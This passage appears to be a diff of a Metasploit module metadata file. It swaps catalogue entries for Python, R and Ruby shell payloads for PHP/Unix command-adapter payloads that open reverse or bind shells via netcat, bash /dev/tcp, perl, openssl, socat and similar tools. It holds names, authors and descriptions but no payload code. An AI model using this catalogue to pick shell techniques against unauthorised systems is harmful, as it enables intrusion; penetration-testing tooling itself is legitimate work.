(stub)", + "fullname": "payload/php/unix/cmd/bind_stub", + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", "author": [ - "RageLtMan " - ], - "description": "Creates an interactive shell via Python, uses SSL, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.", - "references": [ - + "Spencer McIntyre", + "hdm " ], - "platform": "Python", - "arch": "python", + "description": "Execute an OS command from PHP.\n\nListen for a connection and spawn a command shell (stub only, no payload)", + "references": [], + "platform": "PHP", + "arch": "php", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-06-08 06:44:37 +0000", - "path": "/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb", + "mod_time": "2025-05-09 16:09:15 +0000", + "path": "/modules/payloads/adapters/php/unix/cmd.rb", "is_install_path": true, - "ref_name": "python/shell_reverse_tcp_ssl", + "ref_name": "php/unix/cmd/bind_stub", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "payload_type": 1, + "payload_type": 8, + "adapter_refname": "php/unix/cmd", + "adapted_refname": "cmd/unix/bind_stub", "staged": false }, - "payload_python/shell_reverse_udp": { - "name": "Command Shell, Reverse UDP (via python)", - "fullname": "payload/python/shell_reverse_udp", - "aliases": [ - - ], + "payload_php/unix/cmd/bind_zsh": { + "name": "OS Command Exec, Unix Command Shell, Bind TCP (via Zsh)", + "fullname": "payload/php/unix/cmd/bind_zsh", + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", "author": [ - "RageLtMan " - ], - "description": "Creates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.", - "references": [ - + "Spencer McIntyre", + "Doug Prostko ", + "Wang Yihang " ], - "platform": "Python", - "arch": "python", + "description": "Execute an OS command from PHP.\n\nListen for a connection and spawn a command shell via Zsh. Note: Although Zsh is\noften available, please be aware it isn't usually installed by default.", + "references": [], + "platform": "PHP", + "arch": "php", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-06-08 06:44:37 +0000", - "path": "/modules/payloads/singles/python/shell_reverse_udp.rb", + "mod_time": "2025-05-09 16:09:15 +0000", + "path": "/modules/payloads/adapters/php/unix/cmd.rb", "is_install_path": true, - "ref_name": "python/shell_reverse_udp", + "ref_name": "php/unix/cmd/bind_zsh", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "payload_type": 1, + "payload_type": 8, + "adapter_refname": "php/unix/cmd", + "adapted_refname": "cmd/unix/bind_zsh", "staged": false }, - "payload_r/shell_bind_tcp": { - "name": "R Command Shell, Bind TCP", - "fullname": "payload/r/shell_bind_tcp", - "aliases": [ - - ], + "payload_php/unix/cmd/generic": { + "name": "OS Command Exec, Unix Command, Generic Command Execution", + "fullname": "payload/php/unix/cmd/generic", + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", "author": [ - "RageLtMan " - ], - "description": "Continually listen for a connection and spawn a command shell via R", - "references": [ - + "Spencer McIntyre", + "hdm " ], - "platform": "R", - "arch": "r", + "description": "Execute an OS command from PHP.\n\nExecutes the supplied command", + "references": [], + "platform": "PHP", + "arch": "php", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/singles/r/shell_bind_tcp.rb", + "mod_time": "2025-05-09 16:09:15 +0000", + "path": "/modules/payloads/adapters/php/unix/cmd.rb", "is_install_path": true, - "ref_name": "r/shell_bind_tcp", + "ref_name": "php/unix/cmd/generic", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "payload_type": 1, + "payload_type": 8, + "adapter_refname": "php/unix/cmd", + "adapted_refname": "cmd/unix/generic", "staged": false }, - "payload_r/shell_reverse_tcp": { - "name": "R Command Shell, Reverse TCP", - "fullname": "payload/r/shell_reverse_tcp", - "aliases": [ - - ], + "payload_php/unix/cmd/interact": { + "name": "OS Command Exec, Unix Command, Interact with Established Connection", + "fullname": "payload/php/unix/cmd/interact", + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", "author": [ - "RageLtMan " - ], - "description": "Connect back and create a command shell via R", - "references": [ - + "Spencer McIntyre", + "hdm " ], - "platform": "R", - "arch": "r", + "description": "Execute an OS command from PHP.\n\nInteracts with a shell on an established socket connection", + "references": [], + "platform": "PHP", + "arch": "php", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/singles/r/shell_reverse_tcp.rb", + "mod_time": "2025-05-09 16:09:15 +0000", + "path": "/modules/payloads/adapters/php/unix/cmd.rb", "is_install_path": true, - "ref_name": "r/shell_reverse_tcp", + "ref_name": "php/unix/cmd/interact", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "payload_type": 1, + "payload_type": 8, + "adapter_refname": "php/unix/cmd", + "adapted_refname": "cmd/unix/interact", "staged": false }, - "payload_ruby/pingback_bind_tcp": { - "name": "Ruby Pingback, Bind TCP", - "fullname": "payload/ruby/pingback_bind_tcp", - "aliases": [ - - ], + "payload_php/unix/cmd/pingback_bind": { + "name": "OS Command Exec, Unix Command Shell, Pingback Bind TCP (via netcat)", + "fullname": "payload/php/unix/cmd/pingback_bind", + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", "author": [ + "Spencer McIntyre", "asoto-r7" ], - "description": "Listens for a connection from the attacker, sends a UUID, then terminates", - "references": [ - - ], - "platform": "Ruby", - "arch": "ruby", + "description": "Execute an OS command from PHP.\n\nAccept a connection, send a UUID, then exit", + "references": [], + "platform": "PHP", + "arch": "php", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/singles/ruby/pingback_bind_tcp.rb", + "mod_time": "2025-05-09 16:09:15 +0000", + "path": "/modules/payloads/adapters/php/unix/cmd.rb", "is_install_path": true, - "ref_name": "ruby/pingback_bind_tcp", + "ref_name": "php/unix/cmd/pingback_bind", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "payload_type": 1, + "payload_type": 8, + "adapter_refname": "php/unix/cmd", + "adapted_refname": "cmd/unix/pingback_bind", "staged": false }, - "payload_ruby/pingback_reverse_tcp": { - "name": "Ruby Pingback, Reverse TCP", - "fullname": "payload/ruby/pingback_reverse_tcp", - "aliases": [ - - ], + "payload_php/unix/cmd/pingback_reverse": { + "name": "OS Command Exec, Unix Command Shell, Pingback Reverse TCP (via netcat)", + "fullname": "payload/php/unix/cmd/pingback_reverse", + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", "author": [ + "Spencer McIntyre", "asoto-r7" ], - "description": "Connect back to the attacker, sends a UUID, then terminates", - "references": [ - - ], - "platform": "Ruby", - "arch": "ruby", + "description": "Execute an OS command from PHP.\n\nCreates a socket, send a UUID, then exit", + "references": [], + "platform": "PHP", + "arch": "php", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/singles/ruby/pingback_reverse_tcp.rb", + "mod_time": "2025-05-09 16:09:15 +0000", + "path": "/modules/payloads/adapters/php/unix/cmd.rb", "is_install_path": true, - "ref_name": "ruby/pingback_reverse_tcp", + "ref_name": "php/unix/cmd/pingback_reverse", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "payload_type": 1, + "payload_type": 8, + "adapter_refname": "php/unix/cmd", + "adapted_refname": "cmd/unix/pingback_reverse", "staged": false }, - "payload_ruby/shell_bind_tcp": { - "name": "Ruby Command Shell, Bind TCP", - "fullname": "payload/ruby/shell_bind_tcp", - "aliases": [ - - ], + "payload_php/unix/cmd/reverse": { + "name": "OS Command Exec, Unix Command Shell, Double Reverse TCP (telnet)", + "fullname": "payload/php/unix/cmd/reverse", + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", "author": [ - "kris katterjohn ", + "Spencer McIntyre", "hdm " ], - "description": "Continually listen for a connection and spawn a command shell via Ruby", - "references": [ - - ], - "platform": "Ruby", - "arch": "ruby", + "description": "Execute an OS command from PHP.\n\nCreates an interactive shell through two inbound connections", + "references": [], + "platform": "PHP", + "arch": "php", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/singles/ruby/shell_bind_tcp.rb", + "mod_time": "2025-05-09 16:09:15 +0000", + "path": "/modules/payloads/adapters/php/unix/cmd.rb", "is_install_path": true, - "ref_name": "ruby/shell_bind_tcp", + "ref_name": "php/unix/cmd/reverse", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "payload_type": 1, + "payload_type": 8, + "adapter_refname": "php/unix/cmd", + "adapted_refname": "cmd/unix/reverse", "staged": false }, - "payload_ruby/shell_bind_tcp_ipv6": { - "name": "Ruby Command Shell, Bind TCP IPv6", - "fullname": "payload/ruby/shell_bind_tcp_ipv6", - "aliases": [ - - ], + "payload_php/unix/cmd/reverse_awk": { + "name": "OS Command Exec, Unix Command Shell, Reverse TCP (via AWK)", + "fullname": "payload/php/unix/cmd/reverse_awk", + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", "author": [ - "kris katterjohn ", - "hdm " - ], - "description": "Continually listen for a connection and spawn a command shell via Ruby", - "references": [ - + "Spencer McIntyre", + "espreto ", + "Ulisses Castro ", + "Gabriel Quadros " ], - "platform": "Ruby", - "arch": "ruby", + "description": "Execute an OS command from PHP.\n\nCreates an interactive shell via GNU AWK", + "references": [], + "platform": "PHP", + "arch": "php", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/singles/ruby/shell_bind_tcp_ipv6.rb", + "mod_time": "2025-05-09 16:09:15 +0000", + "path": "/modules/payloads/adapters/php/unix/cmd.rb", "is_install_path": true, - "ref_name": "ruby/shell_bind_tcp_ipv6", + "ref_name": "php/unix/cmd/reverse_awk", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "payload_type": 1, + "payload_type": 8, + "adapter_refname": "php/unix/cmd", + "adapted_refname": "cmd/unix/reverse_awk", "staged": false }, - "payload_ruby/shell_reverse_tcp": { - "name": "Ruby Command Shell, Reverse TCP", - "fullname": "payload/ruby/shell_reverse_tcp", - "aliases": [ - - ], + "payload_php/unix/cmd/reverse_bash": { + "name": "OS Command Exec, Unix Command Shell, Reverse TCP (/dev/tcp)", + "fullname": "payload/php/unix/cmd/reverse_bash", + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", "author": [ - "kris katterjohn ", + "Spencer McIntyre", "hdm " ], - "description": "Connect back and create a command shell via Ruby", - "references": [ - - ], - "platform": "Ruby", - "arch": "ruby", + "description": "Execute an OS command from PHP.\n\nCreates an interactive shell via bash's builtin /dev/tcp.\n\nThis will not work on circa 2009 and older Debian-based Linux\ndistributions (including Ubuntu) because they compile bash\nwithout the /dev/tcp feature.", + "references": [], + "platform": "PHP", + "arch": "php", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/singles/ruby/shell_reverse_tcp.rb", + "mod_time": "2025-05-09 16:09:15 +0000", + "path": "/modules/payloads/adapters/php/unix/cmd.rb", "is_install_path": true, - "ref_name": "ruby/shell_reverse_tcp", + "ref_name": "php/unix/cmd/reverse_bash", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "payload_type": 1, + "payload_type": 8, + "adapter_refname": "php/unix/cmd", + "adapted_refname": "cmd/unix/reverse_bash", "staged": false }, - "payload_ruby/shell_reverse_tcp_ssl": { - "name": "Ruby Command Shell, Reverse TCP SSL", - "fullname": "payload/ruby/shell_reverse_tcp_ssl", - "aliases": [ - - ], + "payload_php/unix/cmd/reverse_bash_telnet_ssl": { + "name": "OS Command Exec, Unix Command Shell, Reverse TCP SSL (telnet)", + "fullname": "payload/php/unix/cmd/reverse_bash_telnet_ssl", + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", "author": [ + "Spencer McIntyre", "RageLtMan " ], - "description": "Connect back and create a command shell via Ruby, uses SSL", + "description": "Execute an OS command from PHP.\n\nCreates an interactive shell via mkfifo and telnet.\nThis method works on Debian and other systems compiled\nwithout /dev/tcp support. This module uses the '-z'\noption included on some systems to encrypt using SSL.", + "references": [], + "platform": "PHP", + "arch": "php", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-09 16:09:15 +0000", + "path": "/modules/payloads/adapters/php/unix/cmd.rb", + "is_install_path": true, + "ref_name": "php/unix/cmd/reverse_bash_telnet_ssl", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "php/unix/cmd", + "adapted_refname": "cmd/unix/reverse_bash_telnet_ssl", + "staged": false + }, + "payload_php/unix/cmd/reverse_bash_udp": { + "name": "OS Command Exec, Unix Command Shell, Reverse UDP (/dev/udp)", + "fullname": "payload/php/unix/cmd/reverse_bash_udp", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "hdm ", + "bcoles " + ], + "description": "Execute an OS command from PHP.\n\nCreates an interactive shell via bash's builtin /dev/udp.\n\nThis will not work on circa 2009 and older Debian-based Linux\ndistributions (including Ubuntu) because they compile bash\nwithout the /dev/udp feature.", + "references": [], + "platform": "PHP", + "arch": "php", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-09 16:09:15 +0000", + "path": "/modules/payloads/adapters/php/unix/cmd.rb", + "is_install_path": true, + "ref_name": "php/unix/cmd/reverse_bash_udp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "php/unix/cmd", + "adapted_refname": "cmd/unix/reverse_bash_udp", + "staged": false + }, + "payload_php/unix/cmd/reverse_jjs": { + "name": "OS Command Exec, Unix Command Shell, Reverse TCP (via jjs)", + "fullname": "payload/php/unix/cmd/reverse_jjs", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "conerpirate", + "bcoles " + ], + "description": "Execute an OS command from PHP.\n\nConnect back and create a command shell via jjs", "references": [ - + "URL-https://gtfobins.github.io/gtfobins/jjs/", + "URL-https://cornerpirate.com/2018/08/17/java-gives-a-shell-for-everything/", + "URL-https://h4wkst3r.blogspot.com/2018/05/code-execution-with-jdk-scripting-tools.html" + ], + "platform": "PHP", + "arch": "php", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-09 16:09:15 +0000", + "path": "/modules/payloads/adapters/php/unix/cmd.rb", + "is_install_path": true, + "ref_name": "php/unix/cmd/reverse_jjs", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "php/unix/cmd", + "adapted_refname": "cmd/unix/reverse_jjs", + "staged": false + }, + "payload_php/unix/cmd/reverse_ksh": { + "name": "OS Command Exec, Unix Command Shell, Reverse TCP (via Ksh)", + "fullname": "payload/php/unix/cmd/reverse_ksh", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "Wang Yihang " + ], + "description": "Execute an OS command from PHP.\n\nConnect back and create a command shell via Ksh. Note: Although Ksh is often\navailable, please be aware it isn't usually installed by default.", + "references": [], + "platform": "PHP", + "arch": "php", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-09 16:09:15 +0000", + "path": "/modules/payloads/adapters/php/unix/cmd.rb", + "is_install_path": true, + "ref_name": "php/unix/cmd/reverse_ksh", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "php/unix/cmd", + "adapted_refname": "cmd/unix/reverse_ksh", + "staged": false + }, + "payload_php/unix/cmd/reverse_lua": { + "name": "OS Command Exec, Unix Command Shell, Reverse TCP (via Lua)", + "fullname": "payload/php/unix/cmd/reverse_lua", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "xistence " + ], + "description": "Execute an OS command from PHP.\n\nCreates an interactive shell via Lua", + "references": [], + "platform": "PHP", + "arch": "php", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-09 16:09:15 +0000", + "path": "/modules/payloads/adapters/php/unix/cmd.rb", + "is_install_path": true, + "ref_name": "php/unix/cmd/reverse_lua", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "php/unix/cmd", + "adapted_refname": "cmd/unix/reverse_lua", + "staged": false + }, + "payload_php/unix/cmd/reverse_ncat_ssl": { + "name": "OS Command Exec, Unix Command Shell, Reverse TCP (via ncat)", + "fullname": "payload/php/unix/cmd/reverse_ncat_ssl", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "C_Sto" + ], + "description": "Execute an OS command from PHP.\n\nCreates an interactive shell via ncat, utilizing ssl mode", + "references": [], + "platform": "PHP", + "arch": "php", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-09 16:09:15 +0000", + "path": "/modules/payloads/adapters/php/unix/cmd.rb", + "is_install_path": true, + "ref_name": "php/unix/cmd/reverse_ncat_ssl", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "php/unix/cmd", + "adapted_refname": "cmd/unix/reverse_ncat_ssl", + "staged": false + }, + "payload_php/unix/cmd/reverse_netcat": { + "name": "OS Command Exec, Unix Command Shell, Reverse TCP (via netcat)", + "fullname": "payload/php/unix/cmd/reverse_netcat", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "m-1-k-3", + "egypt ", + "juan vazquez " + ], + "description": "Execute an OS command from PHP.\n\nCreates an interactive shell via netcat", + "references": [], + "platform": "PHP", + "arch": "php", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-09 16:09:15 +0000", + "path": "/modules/payloads/adapters/php/unix/cmd.rb", + "is_install_path": true, + "ref_name": "php/unix/cmd/reverse_netcat", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "php/unix/cmd", + "adapted_refname": "cmd/unix/reverse_netcat", + "staged": false + }, + "payload_php/unix/cmd/reverse_netcat_gaping": { + "name": "OS Command Exec, Unix Command Shell, Reverse TCP (via netcat -e)", + "fullname": "payload/php/unix/cmd/reverse_netcat_gaping", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "hdm " + ], + "description": "Execute an OS command from PHP.\n\nCreates an interactive shell via netcat", + "references": [], + "platform": "PHP", + "arch": "php", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-09 16:09:15 +0000", + "path": "/modules/payloads/adapters/php/unix/cmd.rb", + "is_install_path": true, + "ref_name": "php/unix/cmd/reverse_netcat_gaping", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "php/unix/cmd", + "adapted_refname": "cmd/unix/reverse_netcat_gaping", + "staged": false + }, + "payload_php/unix/cmd/reverse_nodejs": { + "name": "OS Command Exec, Unix Command Shell, Reverse TCP (via nodejs)", + "fullname": "payload/php/unix/cmd/reverse_nodejs", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "joev " + ], + "description": "Execute an OS command from PHP.\n\nContinually listen for a connection and spawn a command shell via nodejs", + "references": [], + "platform": "PHP", + "arch": "php", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-09 16:09:15 +0000", + "path": "/modules/payloads/adapters/php/unix/cmd.rb", + "is_install_path": true, + "ref_name": "php/unix/cmd/reverse_nodejs", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "php/unix/cmd", + "adapted_refname": "cmd/unix/reverse_nodejs", + "staged": false + }, + "payload_php/unix/cmd/reverse_openssl": { + "name": "OS Command Exec, Unix Command Shell, Double Reverse TCP SSL (openssl)", + "fullname": "payload/php/unix/cmd/reverse_openssl", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "hdm " + ], + "description": "Execute an OS command from PHP.\n\nCreates an interactive shell through two inbound connections", + "references": [], + "platform": "PHP", + "arch": "php", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-09 16:09:15 +0000", + "path": "/modules/payloads/adapters/php/unix/cmd.rb", + "is_install_path": true, + "ref_name": "php/unix/cmd/reverse_openssl", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "php/unix/cmd", + "adapted_refname": "cmd/unix/reverse_openssl", + "staged": false + }, + "payload_php/unix/cmd/reverse_perl": { + "name": "OS Command Exec, Unix Command Shell, Reverse TCP (via Perl)", + "fullname": "payload/php/unix/cmd/reverse_perl", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "cazz " + ], + "description": "Execute an OS command from PHP.\n\nCreates an interactive shell via perl", + "references": [], + "platform": "PHP", + "arch": "php", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-09 16:09:15 +0000", + "path": "/modules/payloads/adapters/php/unix/cmd.rb", + "is_install_path": true, + "ref_name": "php/unix/cmd/reverse_perl", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "php/unix/cmd", + "adapted_refname": "cmd/unix/reverse_perl", + "staged": false + }, + "payload_php/unix/cmd/reverse_perl_ssl": { + "name": "OS Command Exec, Unix Command Shell, Reverse TCP SSL (via perl)", + "fullname": "payload/php/unix/cmd/reverse_perl_ssl", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "RageLtMan " + ], + "description": "Execute an OS command from PHP.\n\nCreates an interactive shell via perl, uses SSL", + "references": [], + "platform": "PHP", + "arch": "php", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-09 16:09:15 +0000", + "path": "/modules/payloads/adapters/php/unix/cmd.rb", + "is_install_path": true, + "ref_name": "php/unix/cmd/reverse_perl_ssl", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "php/unix/cmd", + "adapted_refname": "cmd/unix/reverse_perl_ssl", + "staged": false + }, + "payload_php/unix/cmd/reverse_php_ssl": { + "name": "OS Command Exec, Unix Command Shell, Reverse TCP SSL (via php)", + "fullname": "payload/php/unix/cmd/reverse_php_ssl", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "RageLtMan " + ], + "description": "Execute an OS command from PHP.\n\nCreates an interactive shell via php, uses SSL", + "references": [], + "platform": "PHP", + "arch": "php", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-09 16:09:15 +0000", + "path": "/modules/payloads/adapters/php/unix/cmd.rb", + "is_install_path": true, + "ref_name": "php/unix/cmd/reverse_php_ssl", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "php/unix/cmd", + "adapted_refname": "cmd/unix/reverse_php_ssl", + "staged": false + }, + "payload_php/unix/cmd/reverse_python": { + "name": "OS Command Exec, Unix Command Shell, Reverse TCP (via Python)", + "fullname": "payload/php/unix/cmd/reverse_python", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "bcoles " + ], + "description": "Execute an OS command from PHP.\n\nConnect back and create a command shell via Python", + "references": [], + "platform": "PHP", + "arch": "php", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-09 16:09:15 +0000", + "path": "/modules/payloads/adapters/php/unix/cmd.rb", + "is_install_path": true, + "ref_name": "php/unix/cmd/reverse_python", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "php/unix/cmd", + "adapted_refname": "cmd/unix/reverse_python", + "staged": false + }, + "payload_php/unix/cmd/reverse_python_ssl": { + "name": "OS Command Exec, Unix Command Shell, Reverse TCP SSL (via python)", + "fullname": "payload/php/unix/cmd/reverse_python_ssl", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "RageLtMan " + ], + "description": "Execute an OS command from PHP.\n\nCreates an interactive shell via python, uses SSL, encodes with base64 by design.", + "references": [], + "platform": "PHP", + "arch": "php", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-09 16:09:15 +0000", + "path": "/modules/payloads/adapters/php/unix/cmd.rb", + "is_install_path": true, + "ref_name": "php/unix/cmd/reverse_python_ssl", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "php/unix/cmd", + "adapted_refname": "cmd/unix/reverse_python_ssl", + "staged": false + }, + "payload_php/unix/cmd/reverse_r": { + "name": "OS Command Exec, Unix Command Shell, Reverse TCP (via R)", + "fullname": "payload/php/unix/cmd/reverse_r", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "RageLtMan " + ], + "description": "Execute an OS command from PHP.\n\nConnect back and create a command shell via R", + "references": [], + "platform": "PHP", + "arch": "php", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-09 16:09:15 +0000", + "path": "/modules/payloads/adapters/php/unix/cmd.rb", + "is_install_path": true, + "ref_name": "php/unix/cmd/reverse_r", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "php/unix/cmd", + "adapted_refname": "cmd/unix/reverse_r", + "staged": false + }, + "payload_php/unix/cmd/reverse_ruby": { + "name": "OS Command Exec, Unix Command Shell, Reverse TCP (via Ruby)", + "fullname": "payload/php/unix/cmd/reverse_ruby", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "kris katterjohn " + ], + "description": "Execute an OS command from PHP.\n\nConnect back and create a command shell via Ruby", + "references": [], + "platform": "PHP", + "arch": "php", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-09 16:09:15 +0000", + "path": "/modules/payloads/adapters/php/unix/cmd.rb", + "is_install_path": true, + "ref_name": "php/unix/cmd/reverse_ruby", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "php/unix/cmd", + "adapted_refname": "cmd/unix/reverse_ruby", + "staged": false + }, + "payload_php/unix/cmd/reverse_ruby_ssl": { + "name": "OS Command Exec, Unix Command Shell, Reverse TCP SSL (via Ruby)", + "fullname": "payload/php/unix/cmd/reverse_ruby_ssl", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "RageLtMan " + ], + "description": "Execute an OS command from PHP.\n\nConnect back and create a command shell via Ruby, uses SSL", + "references": [], + "platform": "PHP", + "arch": "php", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-09 16:09:15 +0000", + "path": "/modules/payloads/adapters/php/unix/cmd.rb", + "is_install_path": true, + "ref_name": "php/unix/cmd/reverse_ruby_ssl", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "php/unix/cmd", + "adapted_refname": "cmd/unix/reverse_ruby_ssl", + "staged": false + }, + "payload_php/unix/cmd/reverse_socat_sctp": { + "name": "OS Command Exec, Unix Command Shell, Reverse SCTP (via socat)", + "fullname": "payload/php/unix/cmd/reverse_socat_sctp", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "RageLtMan " + ], + "description": "Execute an OS command from PHP.\n\nCreates an interactive shell via socat", + "references": [], + "platform": "PHP", + "arch": "php", + "rport": null, + 